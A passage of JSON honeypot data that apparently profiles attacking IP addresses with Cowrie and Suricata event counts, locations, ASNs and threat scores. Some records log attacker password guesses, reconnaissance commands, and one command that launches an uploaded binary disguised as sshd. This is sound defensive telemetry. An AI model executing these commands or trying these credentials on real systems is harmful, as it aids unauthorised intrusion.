      "last_seen": "2026-05-02T08:21:09.488Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:18:20.945000+00:00",
        "last_seen_30d": "2026-05-02T08:22:12.861000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "106.32.134.41": {
      "attack_count": 24,
      "first_seen": "2026-05-19T03:49:42.001Z",
      "last_seen": "2026-05-19T05:05:03.689Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:49:42.001000+00:00",
        "last_seen_30d": "2026-05-19T05:06:06.768000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "185.255.100.249": {
      "attack_count": 24,
      "first_seen": "2026-05-04T22:17:18.675Z",
      "last_seen": "2026-05-14T02:34:16.863Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:17:18.675000+00:00",
        "last_seen_30d": "2026-05-14T02:35:22.058000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "203.123.87.202": {
      "attack_count": 22,
      "first_seen": "2026-05-13T12:20:36.822Z",
      "last_seen": "2026-05-13T12:26:11.103Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:20:36.822000+00:00",
        "last_seen_30d": "2026-05-13T12:35:18.146000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "112.198.132.215": {
      "attack_count": 20,
      "first_seen": "2026-05-19T09:02:01.954Z",
      "last_seen": "2026-05-19T09:42:01.616Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Nasugbu",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T09:02:01.954000+00:00",
        "last_seen_30d": "2026-05-19T09:43:02.328000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "118.173.155.141": {
      "attack_count": 20,
      "first_seen": "2026-05-21T11:46:27.128Z",
      "last_seen": "2026-05-21T11:54:34.075Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Ko Pha Ngan",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:46:27.128000+00:00",
        "last_seen_30d": "2026-05-21T11:55:40.503000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "165.154.20.228": {
      "attack_count": 18,
      "first_seen": "2026-05-26T06:51:59.051Z",
      "last_seen": "2026-05-26T16:26:11.411Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 8.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 10,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-21T23:23:28+00:00",
        "last_seen_30d": "2026-05-30T14:31:46.751000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 16,
        "Honeytrap": 1
      }
    },
    "185.134.49.6": {
      "attack_count": 18,
      "first_seen": "2026-05-05T01:17:38.415Z",
      "last_seen": "2026-05-31T01:03:34.625Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:17:38.415000+00:00",
        "last_seen_30d": "2026-05-31T01:04:42.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "205.185.117.128": {
      "attack_count": 18,
      "first_seen": "2026-05-09T09:30:26.814Z",
      "last_seen": "2026-05-15T17:21:30.406Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:30:26.814000+00:00",
        "last_seen_30d": "2026-05-15T17:22:36.460000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "106.13.186.189": {
      "attack_count": 15,
      "first_seen": "2026-05-06T20:23:14.579Z",
      "last_seen": "2026-05-06T20:23:33.013Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T20:23:14.579000+00:00",
        "last_seen_30d": "2026-05-06T22:21:35.049000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "45.153.34.108": {
      "attack_count": 15,
      "first_seen": "2026-05-02T06:27:23.933Z",
      "last_seen": "2026-05-02T06:27:29.967Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:27:23.933000+00:00",
        "last_seen_30d": "2026-05-02T06:37:32.448000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 4
      }
    },
    "124.108.17.138": {
      "attack_count": 14,
      "first_seen": "2026-05-30T20:12:17.566Z",
      "last_seen": "2026-05-30T20:14:58.022Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [
        "chmod +x ./.5600365675644372035/sshd;nohup ./.5600365675644372035/sshd  &"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 58678,
      "as_org": "Intech Online Private Limited",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T20:12:17.566000+00:00",
        "last_seen_30d": "2026-05-30T20:16:06.095000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 6
      }
    },
    "142.171.149.114": {
      "attack_count": 12,
      "first_seen": "2026-05-11T00:08:28.003Z",
      "last_seen": "2026-05-11T10:06:29.418Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:08:28.003000+00:00",
        "last_seen_30d": "2026-05-11T10:07:34.220000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "185.162.9.50": {
      "attack_count": 12,
      "first_seen": "2026-05-09T22:08:38.632Z",
      "last_seen": "2026-05-11T08:59:57.073Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 207728,
      "as_org": "EUROHOSTER Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:08:38.632000+00:00",
        "last_seen_30d": "2026-05-11T09:01:05.939000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "47.253.5.130": {
      "attack_count": 12,
      "first_seen": "2026-05-06T05:21:28.280Z",
      "last_seen": "2026-05-28T21:24:24.981Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 23.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 28,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:14:00.925000+00:00",
        "last_seen_30d": "2026-05-29T01:32:51.446000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Cowrie": 12,
        "Honeytrap": 9
      }
    },
    "188.31.119.68": {
      "attack_count": 10,
      "first_seen": "2026-05-19T22:46:24.304Z",
      "last_seen": "2026-05-20T00:38:05.027Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Islington",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:46:24.304000+00:00",
        "last_seen_30d": "2026-05-20T00:39:11.998000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "35.195.148.6": {
      "attack_count": 10,
      "first_seen": "2026-05-02T05:54:51.182Z",
      "last_seen": "2026-05-02T05:54:59.265Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:54:51.182000+00:00",
        "last_seen_30d": "2026-05-02T05:56:08.088000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "75.220.188.81": {
      "attack_count": 10,
      "first_seen": "2026-05-24T23:25:16.355Z",
      "last_seen": "2026-05-24T23:29:22.791Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Pompano Beach",
      "asn": 6167,
      "as_org": "Verizon Business",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:25:16.355000+00:00",
        "last_seen_30d": "2026-05-24T23:31:06.881000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10
      }
    },
    "185.225.41.89": {
      "attack_count": 8,
      "first_seen": "2026-05-28T19:09:22.966Z",
      "last_seen": "2026-05-28T19:13:30.089Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T19:09:22.966000+00:00",
        "last_seen_30d": "2026-05-28T19:24:08.059000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.53.141.182": {
      "attack_count": 8,
      "first_seen": "2026-05-04T04:11:55.135Z",
      "last_seen": "2026-05-04T04:12:22.888Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:11:55.135000+00:00",
        "last_seen_30d": "2026-05-04T04:13:30.547000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "135.222.40.118": {
      "attack_count": 7,
      "first_seen": "2026-05-23T03:41:54.670Z",
      "last_seen": "2026-05-23T03:42:04.895Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T19:27:18.800000+00:00",
        "last_seen_30d": "2026-05-26T20:59:07.121000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "104.236.14.103": {
      "attack_count": 6,
      "first_seen": "2026-05-28T07:46:20.616Z",
      "last_seen": "2026-05-28T07:46:21.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:46:20.616000+00:00",
        "last_seen_30d": "2026-05-28T07:47:30.200000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6
      }
    },
    "195.123.245.23": {
      "attack_count": 6,
      "first_seen": "2026-05-05T01:47:20.586Z",
      "last_seen": "2026-05-05T01:47:28.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 204957,
      "as_org": "Green Floid LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:47:20.586000+00:00",
        "last_seen_30d": "2026-05-05T01:48:38.480000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.49.1.192": {
      "attack_count": 6,
      "first_seen": "2026-05-09T01:26:37.472Z",
      "last_seen": "2026-05-23T08:54:36.932Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 317,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T16:03:54+00:00",
        "last_seen_30d": "2026-05-31T15:01:44.552000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 200,
        "Honeytrap": 86,
        "Ciscoasa": 13,
        "Cowrie": 6,
        "Dionaea": 4,
        "Tanner": 4,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "Miniprint": 1
      }
    },
    "66.132.195.61": {
      "attack_count": 6,
      "first_seen": "2026-05-04T00:31:58.371Z",
      "last_seen": "2026-05-04T00:32:34.855Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:59:27+00:00",
        "last_seen_30d": "2026-05-31T02:15:32.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 35,
        "Redishoneypot": 12,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Tanner": 4,
        "ConPot": 3,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "118.114.19.190": {
      "attack_count": 4,
      "first_seen": "2026-05-13T09:26:46.925Z",
      "last_seen": "2026-05-13T09:26:48.156Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:26:46.925000+00:00",
        "last_seen_30d": "2026-05-13T09:27:55.232000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "123.163.51.3": {
      "attack_count": 4,
      "first_seen": "2026-05-20T02:57:49.719Z",
      "last_seen": "2026-05-20T14:50:41.999Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
